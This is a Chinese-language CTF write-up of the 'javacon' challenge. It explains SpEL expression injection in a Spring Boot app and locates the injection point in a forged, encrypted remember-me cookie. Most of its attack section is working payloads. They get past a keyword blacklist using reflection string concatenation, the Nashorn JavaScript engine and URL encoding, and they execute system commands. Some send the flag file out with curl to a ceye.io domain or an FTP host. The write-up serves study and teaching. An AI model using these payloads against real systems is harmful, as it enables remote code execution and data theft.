SpEL注入之javacon
/SpEL注入漏洞
何为SpEL表达式
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。
SpEL使用方式
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
1 | ExpressionParser parser = new SpelExpressionParser(); |
具体步骤如下:
- 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
- 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
- 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
- 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;
SpEL主要接口
- ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
- EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
- Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。
SpEL语法——类相关表达式
类类型表达式 T(Type)
使用”T(Type)”来表示 java.lang.Class 实例,”Type”必须是类全限定名,”java.lang”包除外,即该包下的类可以不指定包名;使用类类型表达式还可以进行访问类静态方法及类静态字段。
使用示例:
1 | ExpressionParser parser = new SpelExpressionParser(); |
类实例化
类实例化同样使用 java 关键字「new」,类名必须是全限定名,但 java.lang 包内的类型除外,如 String、Integer。
instanceof 表达式
SpEL 支持 instanceof 运算符,跟 Java 内使用同义;如”‘haha’ instanceof T(String)”将返回 true。
变量定义以及引用
变量定义通过 EvaluationContext 接口的 setVariable(variableName, value) 方法定义;在表达式中使用”#variableName”引用;除了引用自定义变量,SpE 还允许引用根对象及当前上下文对象,使用”#root”引用根对象,使用”#this”引用当前上下文对象;
自定义函数
目前只支持类静态方法注册为自定义函数;SpEL 使用 StandardEvaluationContext 的registerFunction 方法进行注册自定义函数,其实完全可以使用 setVariable 代替,两者其实本质是一样的。
检测方法
全局搜索org.springframework.expression.spel.standard
或expression.getValue()
、expression.setValue()
,再分析代码中传入的参数是否可控。
javacon题目分析
本题来自P牛code-breaking中的一道Java题,名为javacon,题目知识点为SpEL注入,这里记下相关笔记。
题目下载地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
本地运行:java -jar challenge-0.0.1-SNAPSHOT.jar
访问页面,是个登录界面,请求参数带有jsessionid,其是在cookie的属性 :
随意输入,会提示“登陆失败,用户名或者密码错误!”。
Java题目,一般都是从代码审计入手,用IDEA打开该jar包,主要看/BOOT-INF/classes目录下的文件即可,发现存在一个application.yml文件:
1 | spring: |
该文件分了3个模块,spring模块定义了HTML模板、UTF-8编码以及无缓存;keywords定义了黑名单,过滤了“java.lang”、“Runtime”、“exec.(”等;user模块定义了用户名和密码,还有一个记住我的值。
Spring框架的关键在于Controller,看到MainController.class,其中定义了ExpressionParser属性,该属性在getAdvanceValue()函数中会调用来解析字符串内容,由此可知getAdvanceValue()函数是SpEL注入的触发点:
1 |
|
再看看哪里调用的getAdvanceValue()函数,发现是在admin()函数中调用了,传递的参数是username的值:
1 |
|
这里研究一下怎么控制这个username的值,先看注解为”/login”的login()函数,其传入3个参数,第三个remember-me为非必须的,在第一个if语句即判断username和password是否是正确的,是则通过调用session.setAttribute("username")
来设置session中的username值,再判断remember-me的值进行设置,然后重定向到主页面,否则登录失败直接返回错误信息。也就是说,这里是没办法进行SpEL注入的,因为username和password都写不正确如何进入后面的逻辑呢?
再来看看主页面的代码逻辑即注解为“@GetMapping”的admin()函数。先判断remember-me是否为空,为空时直接调用session.getAttribute("username");
获取session中即login()函数中设置的username再调用getAdvanceValue()函数,此时因为username是正确的用户名因此无法SpEL注入;若rememberMeValue不为空即login时选择了remember-me,则解码rememberMeValue值为username并通过调用session.setAttribute("username")
来设置session中的username值,此时的username就可控了。
那么注入点的场景已经可以确定了:输入admin/admin并勾选remember-me选项登录后台,然后再修改cookie内容即可。
先登录到admin界面,看到会设置Cookie字段值为remember-me=MXPUSANQRVaBJYtUucUgmQ==
:
直接调用或复制加密代码,在它的代码中找到几个参数然后传进加密处理,执行完毕结果和Cookie字段值的base64结果一致:
行吧,那就将变量value从admin改为Mi1k7ea试试,得到加密值为4Hd10g7CuZZg5M1up1GExg==,放到cookie中发送报文,可以看到admin修改为Mi1k7ea,说明这里即为SpEL注入点:
构造payload
开始网上搜的一大堆SpEL注入exp无法利用,因为这里使用了黑名单过滤了java.lang
、Runtime
和exec(
。
尝试了使用ProcessBuilder().start()来绕过,但是没利用成功。
后面参考了一篇wp,发现可以用Java的反射机制来绕过,具体绕过原理是因为通过反射机制的forName()和getMethod()等方法,其参数是字符串因此可通过字符串拼接的方式来绕过黑名单。
Windows场景
本地弹计算器
常见的payload:
1 | String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"}); |
但是这里需要改为SpEl的解析格式以满足Spring的解析条件,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。
注意,以new String[]{"cmd","/C","xx"}
这种形式定义命令是为了满足Linux下复杂命令构造的条件,通用。当然Linux下应该写为new String[]{"/bin/bash","-c","xxxxx"}
。
payload如下:
1 | #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})} |
加密后发送过去,SpEL注入成功:
回带flag
这里换下payload,读取本地flag文件,由于没有回显,需要外带出来,使用curl命令结合反引号执行系统命令并带回:
1 | #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl xx.ceye.io/`dir`"})} |
但是在Windows上这段代码不能将命令执行带回来,因为Windows中cmd不会解析反引号,只会将命令原封不动地返回过来:
既然这样,就使用curl的-T参数往外上传文件,然后通过ftp接收即可:
1 | #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl -T flag.txt ftp://192.168.248.1/"})} |
发送编码后的payload,在目标FTP端看到接收的文件,收到上传flag.txt:
Linux场景
一般题目环境为Linux,这里直接换如下命令即可,其中curl命令可直接结合反引号使用,中间加上base64命令将所有结果编码以便于可以带回所有内容而非只有第一行结果,最后tr命令将结果中的换行符换为-以便于后面解码的使用:
1 | #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl xx.ceye.io/`cat flag.txt|base64|tr '\n' '-'`"})} |
JavaScript引擎Bypass
在Java 1.8之后,Nashorn取代了Rhino(Java 1.6/1.7)成为Java的嵌入式JavaScript引擎。
也就是说,可以通过Java调用该JS引擎,然后通过JS引擎调用eval()来执行Java代码。
基本payload
基本Payload示例如下:
1 | #{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)} |
要想在本题执行命令,需要结合前面构造的反射机制来实现:
1 | #{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)} |
URL编码
前面的payload有点麻烦,感觉多此一举,这里我们可以升级一下payload,进行URL编码,可以绕过一些过滤机制,并无需结合反射机制:
1 | #{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)} |
其中URL编码内容为:java.lang.Runtime.getRuntime().exec("calc").getInputStream()
,不加最后的getInputStream()也行,只是为了后面回显铺垫。
在这道题可以成功Bypass黑名单实现SpEL注入:
添加回显
增加回显的payload如下,其中URL编码内容为java.lang.Runtime.getRuntime().exec("ipconfig").getInputStream()
:
1 | #{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%70%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())} |
访问直接得到命令执行结果: